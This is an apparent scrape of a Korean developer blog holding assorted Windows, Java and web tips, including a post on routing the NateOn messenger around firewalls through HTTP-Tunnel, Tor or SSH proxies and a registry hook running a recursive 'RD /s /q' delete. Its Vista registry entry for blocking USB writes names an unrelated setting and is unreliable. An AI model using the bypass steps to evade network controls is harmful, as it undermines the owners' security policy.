private static Logger logger = Logger.getLogger(TestLog4j.class);

- logger.debug("dddd");
logger.info("info");
logger.warn("warn");
logger.error("error");
logger.fatal("fatal");
요런식으로 찍어보면 된다.
찍힌 내용은 설정파일의 경로에 파일로도 저장된다.
설정파일의 debug를 warn이라고 해놓으면 info, debug의 메시지는 당연히 안찍힌다.
설정파일 한방으로 찍히고 안찍히고를 결정 지을 수 있다.

 

Posted by 1010
90.개발관련문서2011. 7. 4. 13:58
반응형
Posted by 1010
90.개발관련문서2010. 11. 15. 12:51
반응형

1) Windows XP USB쓰기관리

MS Windows XP Service Pack 2에서 USB Bus 제어를 위한 기능이 추가되었음.

USB 장치 중 대용량 저장장치로 인식되는 장치에 대해 처리하는 방식을 사용함.
 
[설정 방법] 
위치 : HKEY_LOCAL_MACHINE\SystemCurrent\ControlSet\Control\StorageDevicePolicies
값 : WriteProtect
종류 : DWORD
데이터 : 0 -> 사용 안 함
            1 -> 사용 함
 
사용함으로 설정하면 USB Bus를 통한 쓰기를 조작할수 있다. 

 


2) Windows Vista USB쓰기관리

XP의 후속작인 Vista역시 이기능을 제공한다. 하지만 레지스트리 위치가 다르다.

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]

"EncryptionContextMenu"=dword:00000001
 

00000000 이면 해체

 

 

3) 독립적인 S/W를 사용하는 USB쓰기 관리

 

S/W를 이용하는 방법은 크게 2가지

 ① 프로세스를 기동시키는 법

 ② 서비스에 등재하는 법


출처 : http://www.devpia.com/MAEUL/Contents/Detail.aspx?BoardID=6127&MAEULNO=769&no=26326&page=11

Posted by 1010
90.개발관련문서2010. 11. 12. 17:00
반응형
Posted by 1010
90.개발관련문서2010. 11. 2. 13:29
반응형
$ telnet www.naver.com 80
Connected to www.xxxx.xxxx.
Escape character is '^]'.
GET /index.html HTTP/1.0

Posted by 1010
90.개발관련문서2010. 10. 29. 11:25
반응형
Posted by 1010
90.개발관련문서2010. 10. 22. 17:44
반응형

출처 : http://www.msaccess.co.kr/newpage/tech/access/access_2.php#1

아래의 내용은
15년 가량 IT를 경험한 컨설턴트가 평가한 것으로 PowerBuilder, Visual Basic, COBOL, Oracle, SQL-SERVER, MySQL 등 다양한 종류의 프로그램언어와 데이터베이스를 경험한 이후에 기술된 내용입니다.

 

목차 

1.    가장 강력한 Component형 개발 툴

2.    편리한 Database Bound형태의 개발 툴

3.    엔진이 필요 없는 Server 혹인 Client형 데이터베이스

4.    최고의 Rapid 개발 툴

5.    QBE를 이용하여 초보자도 사용 가능한 강력한 SQL언어 제작기능

6.    어떠한 자료 형태도 관계형 데이터베이스처럼 연결(Relation Join) 가능

7.    ODBC를 이용한 모든 데이터베이스의 연결 및 통합

8.    calable개발 툴

9.    Data Migration을 위한 통합형 데이터베이스

10.   Win32 API 및 ActiveX 와 100% 호환

11.  Engine이 필요 없는 관계형 데이터베이스

12.  오피스 제품과의 완벽한 자료호환성

13.  데이터베이스와 프로그램을 통합한 새로운 개발 툴

14.  VBA언어 사용

15.  Application OLE기능

16.  Setup 및 Distribution의 자유로움

17.  Xml 지원 및 ADO, DAO, ODBC등 다양한 형태의 자료연결 기능

18.  개발자를 위한 강력한 마법사 기능

19.  데이터베이스 분석 툴 및 Documentation 기능

20.  준비된 내장함수

21.  사용자 중심의 표현식 작성기(Expression Builder)

22.  전산실이나 급하게 개발해야 하는 프로그램에 용이

23.  중소기업을 위한 진정한 개발 툴이 존재 하는가요?

24.  액세스 !! 만남 자체만으로도 여러분에게 많은 신선함을 약속할 수 있습니다

       

        1.       가장 강력한 Component형 개발 툴

       Form, Table, Query, Report, Module

자주 개발하는 프로그램에서 이전에 사용한 프로그램을 재사용하는 것은 프로젝트에 있어서 아주 중요한 문제입니다. 보안 및 사용자 계정, 네트워크 구성에 따른 모듈 등이나, 기본적인 자료를 처리하는 반복적인 업무의 프로그램 개발은 생산성을 떨어뜨리는 원인이 됩니다.

아무리 잘 만든 프로그램 logic이라 하더라도 다른 프로그램을 개발할 경우에는 이미 잘 만들어진 ActiveX 컨트롤이 아닌 다음에는 반드시 일부는 재개발 해야 하는 것을 피할 수 없습니다.  이럴 때 가장 중요한 것이 이전에 만들어 놓은 폼, 보고서, 스크립트 등의 일부라도 쉽게 가져올 수 있게 하는 것입니다.

이러한 면에서 액세스는 두 개의 액세스화면을 열어 놓고 마우스로  Drag & Drop만을 하면 어떠한 형태의 객체(Form, Table.)든 관계없이 객체를 주고 받을 수 있는 재사용성이 뛰어난 개발툴 입니다.

2.       편리한 Database Bound형태의 개발 툴

    Bound형태란 일반 프로그래밍 툴에 있어서는 생소할 수 있습니다. 여기에 해당하는 것은 3rd Party툴 형태로 지원되는 ActiveX DLL, Component형태로 지원되는 라이브러리 등이 있습니다. Bound폼이나, Bound Report에는 이러한 여러 종류의 라이브러리 중 데이터에 관한 ActiveX형태의 컨트롤이 폼이나 Report자체에 들어 있다고 보면 됩니다.

      Form

                                                물론 액세스의 Bound폼에는 데이터를 가져오는 ActiveX는 어디에도 보이지 않습니다. 폼 자체가 ActiveX와 같은 형태일 수 있습니다.

                                               그러나 이 폼은 DataGrid 컨트롤과 같은 형태와는 비교도 안 되는 유연함을 보여주면서도, 개발자 스스로가 VB  와 같이 Unbound 형태로 개발해도 아무런 문제가 없습니다.

                                                액세스의 Bound폼은 5가지 형태로 제공됩니다. 5가지 형태의 폼은 불과 1~3초 만에 정교한 폼을 만들어 주나, Visual Basic이나 Delphi 등으로 만들면 최소 30분에서 1 이상 소요됩니다. Report 뿐만 아니라 폼에서도 액세스는 Bound 형태이면서도 일반 ActiveX처럼 배포에 대한 불편함이나 Licence에 대한 부담이 없습니다. 또한, 이러한 ActiveX조차도 Windows자체가 지원하는 라이브러리 내에 존재하기 때문에 속도가 상당히 빠릅니다.

       Report

                                              일반적으로 가장 많이 사용되는 Report툴은 Segate사의 Crystal Report입니다. 필자도 대형 프로젝트를 통해 Crystal Report2년 가까이 꾸준히 사용해 보았기 때문에 개발의 편리상이나 개발 속도적인 면, 보고서의 모양 등에 있어서 최고의 툴로 평가해도 과하지 않다고 생각합니다.

                                              그러나 액세스가 가지고 있는 보고서 기능은 이 Crystal Report에 못지 않은 많은 기능을 가지고 있습니다. 오히려 Crystal Report가 가지고 있지 않은 유용한 형태의 많은 보고서를 제공합니다. 더욱이 Bound Unbound형태를 모두 제공하기 때문에 자연스럽고 고급스런 보고서를 작성할 수 있습니다.

3.       엔진이 필요 없는 Server 혹인 Client형 데이터베이스

       액세스는 엔진이 없는 상태에서도 데이터베이스로 만족한다

                                               액세스는 모든 자료형태로 표현되는 Text파일이나  Excel, Dbase ISAM파일, Paradox 등 기타 많은 자료를 링크하여 관계형 데이터베이스처럼 활용가능 할 뿐만 아니라, 서로 다른 자료 형태를 관계형으로 연결 할 수 있습니다.

상상할 수 없었던 형태, 예를 들면 서버의 Oracle 데이터베이스와 일반 PC에 존재하는 Text데이터나  Excel 같은 형태의 자료를 서로 관계형 데이터베이스로서 Join하는 작업을 쉽게 만들어 줍니다. 또한 이렇게 연결된 자료들을 아무런 작업 없이 그대로 SQL에 사용 가능한 방법을 제공합니다

       Client/Server의 대형프로젝트에 필수적인 데이터베이스

진정한 형태의  Client/Server프로그램은 Client에 데이터베이스를 둠으로써 전체적인 프로그램을 효율적으로 운영하기 위한 방법의 제안 이었습니다.

                                                 그러나 국내에서 이러한 형태의 Client/Server프로그램을 구현하는 방법은 서버에 Oracle과 같은 대형 데이터베이스를 두고 Client에는 Sql-Server같은 데이테베이스를 둠으로써 Client자체가 일반 PC가 아닌 서버급의 고비용을 발생하게 하는 형태로 발전하게 되었습니다.

                                                진정한 Client/Server응용 프로그램은 Client PC에 데이터베이스를 둠으로써 데이터베이스 서버의 가격을 낮추고 성능 저하의 원인이 되는 데이터의 집중현상을 줄이기 위한 방법이어야 합니다. 즉, 일반 PC에 데이터베이스를 둠으로써 가장 효과적인 시스템구축 방법을 찾기 위한 수단이 되는 것입니다.

                                                예를 들어, 한 회사에서 1,000건이 넘는 상품코드를 사용할 경우 하나의 재고관리 프로그램에서 조회하는 상품코드는 프로그램이 실행되는 동안에는 계속해서 상품코드를 조회합니다. 매번 프로그램을 실행할 때마다 이 상품코드를 서버에서 가져온다면 서버자체의 물리적 성능이나 데이터베이스의 성능이 상당히 월등해야 합니다. 그러나 서버에 존재하는 상품코드의 복사본을 Client에 가지고 있고 이 상품코드를 서버에서 가져오지 않고 Client PC 즉, 현재 프로그램이 실행되고 있는 PC에 보관하고 사용한다면 아주 효율적인 시스템이 구축됩니다.

 액세스는 Client(PC)에 엔진이 필요없는 관계형 데이터베이스를 제공함으로써 Client/Server에 전형적인 시스템 구축을 도와 줍니다.

최근에 메신저()형태의 개인용 응용프로그램이 많이 배포되고 있습니다. 이러한 대부분의 개인용 자료를 보관(메일, 주소록, 일정관리)하는 대부분의 프로그램이 이 액세스 DB를 사용하고 있습니다. 확장자를  MDB가 아닌 다른 형태로 Rename했을 뿐 액세스 데이터베이스를 그대로 사용하고 있습니다.

4.       최고의 Rapid 개발툴

       Form, Report 제작 5 ~ 30

액세스는 Bound 형태의 폼이나 보고서를 제공하기 때문에 일반 개발 툴에 비하여 상당히 빠른 개발도구 입니다.

설계가 끝난 상태에서 프로그램을 개발할 경우라면 Visual Basic이나 Delphi, PowerBuilder등의 개발 기간이 5개월 정도라고 한다면, 액세스는 최대 1개월 이면 충분할 정도의 개발환경 및 도구를 제공합니다.

       QBF

액세스는 많은 변수로부터 자유로울 수 있습니다.

액세스는 보고서 및 폼에 있는 컨트롤이나 필드의 값을 직접 참조할 수 있는 기능을 제공하며, 이러한 형태의 값에 대한 참조를 SQL이나 모든 함수에서 사용 가능하므로 개발생산성 측면에서나 프로그램 자체를 이해하는데 있어서도 많은 도움이 됩니다.

5.       QBE를 이용하여 초보자도 사용가능한 강력한 SQL언어 제작기능

      QBE를 이용한 빠른 SQL작성(GUI환경)

액세스는 거의 최초로 제공되었던 GUI형태의 SQL Builder를 제공합니다

액세스가 처음 나왔던 91년 경에 이미 GUI형태의 SQL Builder를 제공했기 때문에 10년 이상이 흐른 현재의 Builder는 더욱 진보된 형태로 SQL을 잘 모르거나, 기억하기 어려운 Syntax등을 자동으로 생성해 줍니다.

       SQL언어 내부에 내장함수 사용이 가능하다

액세스의  SQL은 다양한 데이터베이스를 지원할 뿐만 아니라 액세스 자체에서 포함하고 있는 내장함수나, 심지어는 사용자가 만든 함수 등을 SQL에 포함하여 사용할 수 있습니다. 이러한 함수 조차도 액세스가 해석하여 다양한 데이터베이스에 사용해도 전혀 문제 없이 실행할 수 있는 강력한 SQL을 제공합니다.

      RPC, Stored Procedure사용 가능

오라클이나 대형 데이터베이스에서 제공하는 RPC, Stored Procedure를 액세스에서 만들 수 있을 뿐만 아니라 만들어진 RPC, Stored Procedure를 실행 할 수 있습니다

       Crosstab Query

직접 구현하려면 최소 50줄 이상이라야 가능한 SQL명령을 SQL Builder를 통하여 쉽게 구현합니다

▶    Crosstab Query는 기간별 영업실적, 지역별 영업실적 담당자별 영업실적 등..행의 값이 열로, 혹은 열의 값이 행으로 이동하여 통계를 구축하는 등의 어려운 SQL문장을 만들어 주는 마법사를 이용하여 불과 몇 초 만에 어느 정도 수준의 SQL사용자도 만들기 어려운 Crosstab Query를 구현해 줍니다.

        사용자 정의 함수 사용

일반 데이터베이스에서 제공하는 대부분의 SQL용 함수를 제공합니다.

액세스 내부에 포함된 모든 내장함수와 사용자 정의 함수를 SQL에 포함하여 실행할 수 있습니다.

       Query를 이용한 View Table작성

액세스는 액세스자체에 SQL문을 레코드셋처럼 취급할 수 있으므로 SQL을 만들어 이렇게 만들어진 SQL자체를 쿼리라는 객체형태로 마치 서버의 View테이블처럼 만들 수 있습니다.

6.       어떠한 자료 형태도 관계형 데이터베이스처럼 연결(Relation Join) 가능

       Text, Excel, Dbase 간의 연결(Relation Join) 가능

마이크로소프트가 배포하는 오피스 내부에는 Power point, Word, Excel, Visio, Frontpage, InfoPath, Outlook등이 존재하고 있으며 이러한 응용프로그램이 사용하는 모든 자료를 액세스로 주고 받을 수 있습니다

       Text, Excel, Dbase Oracle, SQL-SERVER, ORACLE간의 연결(Relation Join) 가능

오피스 내부에 존재하는 모든 자료의 형태나 일반적인 ISAM파일, DBASE등의 자료와 대형 데이터베이스와도 관계형 연결(Relational Join)이 가능합니다

7.       ODBC를 이용한 모든 데이터베이스의 연결 및 통합

       Local Database에 이 기종 및 서로 다른 Database 통합연결

현재 존재하는 거의 모든 형태의 자료와 서버에 존재하는 모든 형태의 데이터베이스와 연결 가능합니다.

이러한 연결이라는 것은 단순한 링크가 아니라 액세스 내부에서는 동일한 데이터베이스처럼 취급되기 때문에 대부분의 SQL문의 사용이 가능합니다

       Remote Database에 이 기종 및 서로 다른 Database 통합연결

원격지에 있는 데이터베이스끼리도 odbc를 통하여 연결하고 또한 Client에 존재하는 일반 ISAM 형태의 자료를 동시에 연결할 수 있습니다

액세스는 동시에 이 기종의 데이터베이스와 연결할 뿐만 아니라 동시에 EXCEL이나 ISAM 등 모든 자료를 연결할 수 있습니다. 이러한 연결은 사용자에게 데이터의 종류에 관계없이 서로간에 자료를 주고 받거나 프로그램을 하는데 있어서 대단한 편리성과 유연성을 제공합니다

8.       Scalable개발툴

      From Desktop To Enterprise level Client/Server 개발 툴

PC에서 운영되는 작은 프로그램에서부터 대형 프로젝트에 이르기 까지 어떠한 환경에서도 운영 가능한 개발 툴입니다

       Excellent Group Business Tool

특히 부서단위나, 지역단위의 프로그램이나, 이러한 형태로 개발된 데이터베이스를 통합하는 형태의 프로젝트에 있어서는 더욱 뛰어난 기능을 발휘합니다

       Standalone 개발 툴

액세스는 워낙 빠른 시간에 개발 가능한 툴이기 때문에 갑작스런 프로젝트나 실험용 프로그램, 통계 프로그램 등 한번 사용하고 버리는 형태의 프로그램에는 생산성 높은 많은 기능을 제공합니다.

      Frontend To Backend 데이터베이스

이미 구축된 ERP나 다른 응용프로그램에 존재하는 모든 데이터를 쉽게 접근하여 새로운 프로그램을 개발한다든가 혹은     이렇게 개발된 프로그램으로 기존의 ERP데이터에 자료를 검색, 입력, 수정하는 등의 형태의 개발이 뛰어납니다.

9.       Data Migration을 위한 통합형 데이터베이스

       Upsizing, Downsizing

모든 형태의 자료나 관계형 데이터베이스가 연결 가능하기 때문에 프로그램의 규모나 데이터베이스를 서버로 올린다거나 내릴 경우에는 최대의 효과 및 편의를 제공합니다.

10.   Win32 API ActiveX 100% 호환

일반적인 프로그램 개발 툴에서 사용하는 3rd Party에서 제공하는 모든 종류의 라이브러리 사용을 지원합니다 (ActiveX Control, DLL, Class 라이브러리).

11.   Engine이 필요 없는 관계형 데이터베이스

       액세스나 오피스가 설치되어 있지 않더라도 액세스파일 자체만 가지고도 데이터베이스로서의 모든 기능이 지원됩니다.

12.   오피스 제품과의 완벽한 자료 호환성

       Excel TO Access

       MS Word TO Access

      Visio TO Access

13.   데이터베이스와 프로그램을 통합한 새로운 개발 툴

       프로그램 자체도 R-DB형태로 존재

       프로그램과 DB를 분리하여 개발 가능

      프로그램과 DB를 통합하여 개발 가능

14.   VBA언어 사용

       Visual Basic For Application

15.    Application OLE기능

액세스로 Excel이나 Word의 응용프로그램을 끌어 들여 사용 가능합니다

      Excel Application

       Word Application

16.   Setup Distribution의 자유로움

사실상 모든 개발 툴에 있어서의 최종적인 문제는 완성된 프로그램의 배포에 있습니다. 이러한 배포는 Install shield Setup Package형태로 배포하게 되는데, 실제 많은 응용프로그램 설치를 자세히 살펴보면 최소한 20~60여 개에 가까운 많은 파일이 설치 됩니다. 따라서 이렇게 많이 설치되는 파일이 어디에 존재하는지, 또한 현재 설치되는 OS에 적합한지를 판단하기 이전에 모든 설치가 마무리 되는 것을 생각해 보면 새로운 프로그램을 윈도우에 설치한다는 자체가 어느 정도의 모험이 될 수 있습니다.

더 심각한 문제는 설치한 프로그램을 제거할 경우는 아예 설치된 파일을 모르기 때문에 완벽한 제거는 포기하게 된다는 것입니다.

그러나 액세스는 단 두 개의 파일만 설치하면 됩니다. 물론 액세스를 실행하기 위한 msaccess.exe 파일을 제외하면 개발된 프로그램.mdb만을 배포하면 됩니다.

물론 배포될 컴퓨터에 오피스가 설치되어 있다는 전제가 있어야 합니다.

      MS Windows Office의 라이브러리의 호환성

       하나의 파일만으로 모든 프로그램의 배포

17.   Xml 지원 및 ADO, DAO, ODBC등 다양한 형태의 자료 연결 기능

최근에 각광을 받고 있는 XML형태의 자료를 연결하거나 혹은 원하는 자료를 내보낼 수 있는 기능이 있습니다.

       Xml Import, Export, Linking

       ADO, DAO, RDO

18.   개발자를 위한 강력한 마법사 기능

프로그램에 사용되는 모든 객체에 대한 강력한 마법사 기능으로 프로그램개발에 필요한 모든 작업을 기본적으로 제공하는 마법사를 통하여 최소 30%에서 100%에 이르는 완성도로 모든 객체를 만들어 줍니다.

       Form

       Query

      Report

       Table

        Macro

        Button Wizard

19.   데이터베이스 분석 툴 및 Documentation 기능

프로젝트 시작 시 혹은 종료 시 만들어야 할 프로젝트 문서 기능을 제공하기 때문에 개발에 포함된 각각의 객체에 대한 속성 및 리스트를 제작해 줍니다.

      Analyze Database

20.   준비된 내장함수

테이블 및 View테이블 등을 대상으로 하는 편리한 도메인 함수 및 일반적인 개발 툴이 사용하는 대부분의 함수를 제공합니다.

       도메인함수

      문자열함수

       Data Connection관련 함수

21.   사용자 중심의 표현식 작성기(Expression Builder)

변수 명이나 각 객체의 이름을 일일이 암기하지 않더라도 표현식 작성기를 통하여 모든 객체에 대한 Collection 및 속성, Value등을 쉽게 참조하기 때문에 개발 시 부담하는 변수에 대한 스트레스 등이 없습니다.

       Form, Report, Table, Query등 참조

22.   전산실이나 급하게 개발해야 하는 프로그램에 용이

일반적으로 전산실은 노가다(?) 작업을 많이 합니다. 이미 ERP나 기간업무가 개발되어 있지만, 회사는 언제 어디서든 엉뚱한(?)자료를 요구할 경우가 너무 많습니다.

대부분의 전산실이 밤을 세우는 이유가 여기에 있습니다(아마..동감하는 사람이 너무도 많을 것입니다)  사용해본 사람만 알 수 있겠지만 액세스는 전산실에서 하루 종일 해야 할 작업을 10분이면 끝내줄 수 있는 모든 도구를 제공할 것입니다.

       갑작스런 자료의 통계나 추출

      갑작스럽게 주어진 업무의 해결

23.   중소기업을 위한 진정한 개발 툴이 존재 하는가요?

      국내에 모든 기업의 전산화를 위한 개발 툴이 동일하다

국내 대기업과 중소기업의 환경은 너무나 다릅니다. 하지만 전산화는 기업의 규모에 관계없이 기업을 이끌어 가는 중요한 수단으로 자리잡고 있습니다. 전산화가 목표가 될 수 는 없지만 그 목표를 달성하는 중요한 수단임은 분명합니다.

그러나 이러한 수단이 기업의 규모에 관계없이 거의 비슷하다는 현실입니다.

중소기업도 서버를 구입하고 네트워크환경을 구축해야 합니다. 지금까지의 모든 개발자들은 대기업에서 사용하던 시스템(하드웨어)나 개발  툴을 그대로 적용하는 현실입니다.

중소기업은 전산실도 없고, 컴퓨터를 잘 아는 사람도 없습니다. 2~3,000천 만원씩 하는 서버를 무료로 지원해도 중소기업은 그러한 장비와 소프트웨어를 유지할 인력이나 비용이 없다는 사실입니다.

많은 개발자 여러분들은 적은 비용으로 또는 전문인력이 없는 상황에서도 중소기업의 전산화가 잘 될 수 있도록 좋은 기술과 솔루션을 제공해야만 합니다.

중소기업의 열악한 현실을 알면서도 동일한 기술과 솔루션으로 접근하는 것은 어린아이를 물가로 몰고 가는 현실과도 같다고 생각합니다.

액세스는 일반 컴퓨터만으로도 네트워크환경에서 문제없이 움직일 수 있는 데이터베이스입니다. 데이터베이스의 백업 및 복구조차도 단순히 파일복사만으로도 충분하며  MultiUser환경을 지원합니다. 액세스는 단순한 개발 툴이라기 보다는 규모의 크기나 업무의 영역을 초월한 다양한 형태를 지원하는 하나의 솔루션입니다.

24.   액세스 !! 만남 자체만으로도 여러분에게 많은 신선함을 약속할 수 있습니다

 

    사례1>

     보험업무를 중심으로 하는 대기업에서 각 보험지국의 데이터베이스는 SQL-SERVER로 구축되어 있으며, 본사는 ORACLE로 되어 있는 상황에서 각 보험설계사가 노트북을 가지고 다니며 고객에 대한 정보를 보험지국과 본사의 서버에 모든 자료를 동기화 하려고 한다.

    해결방안>

    전형적인 Client DB를 가져야 하는 상황입니다. 그렇지 않을 경우에는 보험설계사가 노트북에 입력한 고객정보를 서버나 보험지국에 다시 한번 입력해야 하는 일이 발생됩니다.

    MS Access는 그 자체가 프로그램 개발 툴이면서 관계형 데이터베이스로서 MS Office만 설치된 노트북이라면 언제는 자체 MS Access DB에 고객정보를 입력하고, 보험지국에 돌아와서는 동일한 노트북에서 MS Access DB에 연결된 SQL-SERVER나 본사에 연결하여 그대로 자료를 전송할 수 있습니다.

    사례2>

     사례1과 동일하며 다만 고객정보가 Excel로 되어 있다

    해결방안>

    MS Access는 몇 초 만에 대부분의 자료를 관계형 데이터베이스로 쉽게 구축할 수 있습니다. 또한 일반 텍스트형태의 자료와 Excel같은 자료를 서로 연결하여 사용하거나, 이러 Excel자료를 대형 데이터베이스와 연결(Relation Join)하여 사용 가능하므로 기본자료의 종류에 관계 없이 어떠한 데이터베이스에도 연결 가능합니다.

Posted by 1010
90.개발관련문서2010. 10. 6. 13:38
반응형

Lucy-XSS Filter

Overview

Lucy-XSS Filter는 악의적인 XSS 코드의 위험으로부터 웹 어플리케이션을 보호하기 위해 필요한 기능을 White-List 설정방식으로 구현해놓은 Java 기반의 필터 라이브러리입니다. Lucy-XSS Filter의 사용으로 어플리케이션 개발자는 XSS코드의 위험성에 대한 고민 없이 Business Logic에만 집중하여 서비스를 개발할 수 있습니다.

Benefit

  • 효과적인 악의적 XSS 코드 제거
한번의 설정으로 XSS 코드를 필터링 할 수 있으므로 개발자는 XSS 보안에 대해 신경쓸 필요 없이 비즈니스 로직에만 집중하여 개발할 수 있습니다.
  • 일관된 필터링 규칙 적용
Case 별로 XSS 필터링을 로직에서 처리할 필요 없이 설정을 통해 필터링 규칙을 추가/제거할 수 있으며, 이를 통해 보안 관련 부서에서 일괄적인 방식으로 보안 필터 관리가 가능합니다.

Feature

  • 악의적인 XSS 코드가 포함된 데이터에 대한 보안 필터링 수행.
  • Java 기반 라이브러리 제공
  • 필터링 규칙을 설정방식(xml 파일 형식)으로 지원: HTML 4 스펙에 기반한 표준 설정 파일 제공
  • 사용자 정의 코드 삽입 기능 제공
Posted by 1010
90.개발관련문서2010. 8. 9. 14:32
반응형

SVN을 사용하다보면 .SVN이라는 폴더가 생성되지요.
버젼 충돌 때문이나 복사하려고 할때 이것을 지우려고 골치아픕니다. -_-;
레지스트리에 간단히 등록하고 한번에 지우는 방법이 있는데 편라하더군요.

아래 내용을  테스트 에디터로 카피 하신후 svn_folder_delete.reg 라는 이름으로 저장하시고 더블 클릭하면 레지스트리에 등록됩니다.
SVN 폴더에서 마우스 오른쪽 버튼 클릭하면 메뉴가 보입니다.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\shell\DeleteSVN]
@="Delete SVN Folders"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\shell\DeleteSVN\command]
@="cmd.exe /c \"TITLE Removing SVN Folders in %1 && COLOR 9A && FOR /r \"%1\" %%f IN (.svn) DO RD /s /q \"%%f\" \""


출처 : http://www.digipine.com/?mid=programming&document_srl=1356&page=2&sort_index=voted_count&order_type=desc

Posted by 1010
90.개발관련문서2010. 6. 24. 17:05
반응형
 

윈도우를 쓰다보면 공유폴더로 접근하였다가

특정계정만 접근이 되는 디렉토리로 접근을 하려고 하는데

기존의 계정접속 연결이 끊기지 않아 아이디와 패스워드 인증없이

이전에 인증하였던 공유폴더만 보일것이다.


이럴경우 기존의 접속연결을 끊는 방법을 소개합니다.

1. 먼저 윈도우 cmd창을 연다.

2. net use 명령을 실행하여 어떤것들이 연결되었는지 확인한다.

3. 전체 연결 끊기 : net use * /delete 명령으로 전체 연결을 끊는다.
  
   부분 공유 삭제 : net use 공유명 /delete

                       net use /delete \\[ ip ]      // 해당 ip 연결 끊기

5. \\아이피 를 입력하여 새롭게 아이디와 패스워드 인증을 받는다.

==========================================
실제 실행화면
C:\Documents and Settings\hubgo>net use
새 연결 정보가 저장되지 않습니다.


상태         로컬      원격                      네트워크

-------------------------------------------------------------------------------
OK                     
\\192.38.134.122\Unit2 개인
                                                 Microsoft Windows 네트워크
OK                     
\\192.38.134.122\Unit2 공용
                                                 Microsoft Windows 네트워크
명령을 잘 실행했습니다.


C:\Documents and Settings\hubgo>net use * /delete
다음 원격 연결이 있습니다.

                    \\192.38.134.122\Unit2 개인폴더
                    
\\192.38.134.122\Unit2 공용폴더
계속하면 연결이 취소됩니다.

이 작업을 계속하시겠습니까? (Y/N) [N]: y
명령을 잘 실행했습니다.


C:\Documents and Settings\hubgo>net use
새 연결 정보가 저장되지 않습니다.

목록에 항목이 없습니다.

Posted by 1010
90.개발관련문서2010. 6. 10. 10:43
반응형
프록시 서버 사용을 통한 방화벽 우회

1. HTTP-Tunnel ( http://www.http-tunnel.com/ ) - 먼저 대화하기 가능, 친구파일방 접속 가능
설치 후 실행 후
Use Free Service - Configure - Test - OK
네이트온 설정 - 환경 설정 - 연결(방화벽) - 프록시 서버 사용
종류 SOCKS 버전 4
서버 localhost 포트 1080
P2P 연결 포트 1080
한번 더 Configure - Test - OK

2. Vidalia ( http://www.vidalia-project.net/download.php )
설치 후 실행 후 접속 후
네이트온 설정 - 환경 설정 - 연결(방화벽) - 프록시 서버 사용
종류 SOCKS 버전 4
서버 localhost 포트 9050

3. SSH Tunneling
검색하면 많이 나온다.
Posted by 1010
90.개발관련문서2010. 4. 28. 11:14
반응형
 

인터넷 연결 공유를 설정하려고 하면 "오류 1068" 오류 메시지가 발생한다

기술 자료 ID : 827328
마지막 검토 : 2005년 7월 11일 월요일
수정 : 3.1

현상

인터넷 연결 공유 마법사를 실행하면 다음과 유사한 내용의 오류 메시지 중 하나가 나타날 수 있습니다.
인터넷 연결 공유를 사용할 수 있게 설정하는 동안 오류가 발생했습니다. 종속 서비스나 그룹이 시작될 수 없습니다.
또는
1068: 종속 서비스나 그룹이 시작될 수 없습니다.

위로 가기

해결 방법

이 문제를 해결하려면 모든 종속 서비스가 시작되었는지 확인하십시오. 이렇게 하려면 다음 단계를 수행하십시오.
1. 시작을 누른 다음 도움말 및 지원을 누릅니다.
2. 작업 선택에서 도구를 사용하여 컴퓨터 정보를 볼 수 있으며 문제를 진단할 수 있습니다.를 누릅니다.
3. 도구 영역에서 시스템 구성 유틸리티를 누릅니다.
4. 오른쪽 창에서 시스템 구성 유틸리티 열기를 누릅니다. 이렇게 하면 시스템 구성 유틸리티가 열립니다.
5. 서비스 탭을 누릅니다.
6. 다음 서비스가 모두 설정되어 있는지 확인합니다. 서비스를 설정하려면 확인란을 눌러 선택합니다.
Application Layer Gateway Service
Network Connections
NLA(Network Location Awareness)
Plug and Play
Remote Access Auto Connection Manager
Remote Access Connection Manager
Remote Procedure Call (RPC)
Telephony
7. 확인을 누른 다음 다시 시작을 누릅니다.
8. Windows가 다시 시작된 후 인터넷 연결 공유 마법사를 다시 실행합니다.

위로 가기

참조

이 문제에 대한 자세한 내용은 Microsoft 기술 자료의 다음 문서를 참조하십시오.
241584 (http://support.microsoft.com/kb/241584/) 서비스가 시작되지 않고 "오류 1058"이 표시된다




Microsoft 제품 관련 기술 전문가들과 온라인으로 정보를 교환하시려면 Microsoft 뉴스 그룹 (http://support.microsoft.com/newsgroups/default.aspx)에 참여하시기 바랍니다.

위로 가기


Posted by 1010
90.개발관련문서2010. 1. 5. 17:49
반응형

요약

The XMLHttpRequest Object 규격은 서버와 클라이언트간 데이터를 전달하기 위한 스크립트화된 클라이언트 기능을 제공하는 API를 정의한다.

이 문서의 상태

This section describes the status of this document at the time of its publication. Other documents may supersede this document. A list of current W3C publications and the latest revision of this technical report can be found in the W3C technical reports index at http://www.w3.org/TR/.

This is the 26 October 2007 Working Draft of The XMLHttpRequest Object specification. Please send comments to public-webapi@w3.org (archived) with either [XHR] or [XMLHttpRequest] at the start of the subject line.

This document is produced by the Web API Working Group, part of the Rich Web Clients Activity in the W3C Interaction Domain. Changes made to this document can be found in the W3C public CVS server.

Publication as a Working Draft does not imply endorsement by the W3C Membership. This is a draft document and may be updated, replaced or obsoleted by other documents at any time. It is inappropriate to cite this document as other than work in progress.

This document was produced by a group operating under the 5 February 2004 W3C Patent Policy. W3C maintains a public list of any patent disclosures made in connection with the deliverables of the group; that page also includes instructions for disclosing a patent. An individual who has actual knowledge of a patent which the individual believes contains Essential Claim(s) must disclose the information in accordance with section 6 of the W3C Patent Policy.

목차

1. 소개

이 절은 비규범적이다.

XMLHttpRequest object는 HTTP 클라이언트 인터페이스를 구현한다. 이 인터페이스는 스크립트 엔진을 통해 노출되며 폼 데이터를 보내거나 서버로부터 데이터를 받아오는 기능을 수행한다.

XMLHttpRequest라는 이름은 웹의 호환성을 위해 지어졌지만 이름의 각 부분은 잠재적으로 오해를 일으킬 수 있다. 첫째, XMLHttpRequest는 XML을 포함한 텍스트 기반의 어떠한 포맷도 지원한다. 둘째, XMLHttpRequest는 HTTP와 HTTPS 프로토콜 모두 사용할 수 있다. (몇몇 구현은 HTTP와 HTTPS 이외의 프로토콜을 지원하기도 하지만 그러한 기능은 본 규격에서는 다루지 않는다.). 마지막으로 XMLHttpRequest의 "request"는 HTTP에 정의된 용어에 비해 광의적으로 사용된다. 즉, HTTP method들을 위한 HTTP request와 response를 수행하기 위한 행위들을 포함한다.

1.1. 사용예

이 절은 비규범적이다.

몇몇 [ECMAScript] 예제들은 본 규격에 열거되었다. 추가로 아래 코드를 참고할 수 있다.

